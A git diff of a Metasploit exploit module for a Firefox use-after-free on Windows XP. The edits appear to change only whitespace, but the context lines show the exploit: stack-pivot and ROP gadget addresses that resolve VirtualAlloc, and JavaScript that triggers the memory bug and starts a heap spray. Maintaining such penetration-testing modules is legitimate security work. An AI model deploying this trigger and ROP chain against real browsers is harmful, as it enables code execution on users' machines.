diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb old mode 100755 new mode 100644 index c85969421b..71b6892fd2 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, - 'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] - 'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] + 'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] + 'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 'FF' => 9, 'OS' => 'XP' } @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, - 'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] + 'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] 'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 'FF' => 901, 'OS' => 'XP' @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote rop_chain = [ - 0x7819c80a, # POP EAX # RETN [MOZCRT19.dll] + 0x7819c80a, # POP EAX # RETN [MOZCRT19.dll] 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] 0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] 0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll] @@ -357,16 +357,16 @@ class Metasploit3 < Msf::Exploit::Remote #{attr_name}.value = "#{bar_name}"; var #{ni_name} = document.createNodeIterator( - #{attr_name}, NodeFilter.SHOW_ALL, - {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }}, - false); + #{attr_name}, NodeFilter.SHOW_ALL, + {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }}, + false); #{ni_name}.nextNode(); #{ni_name}.nextNode(); #{ni_name}.previousNode(); #{attr_name}.value = null; - + const #{addr_name} = unescape("#{filler_js}"); var #{container_name} = new Array(); var #{small_name} = unescape("#{popesp_js}")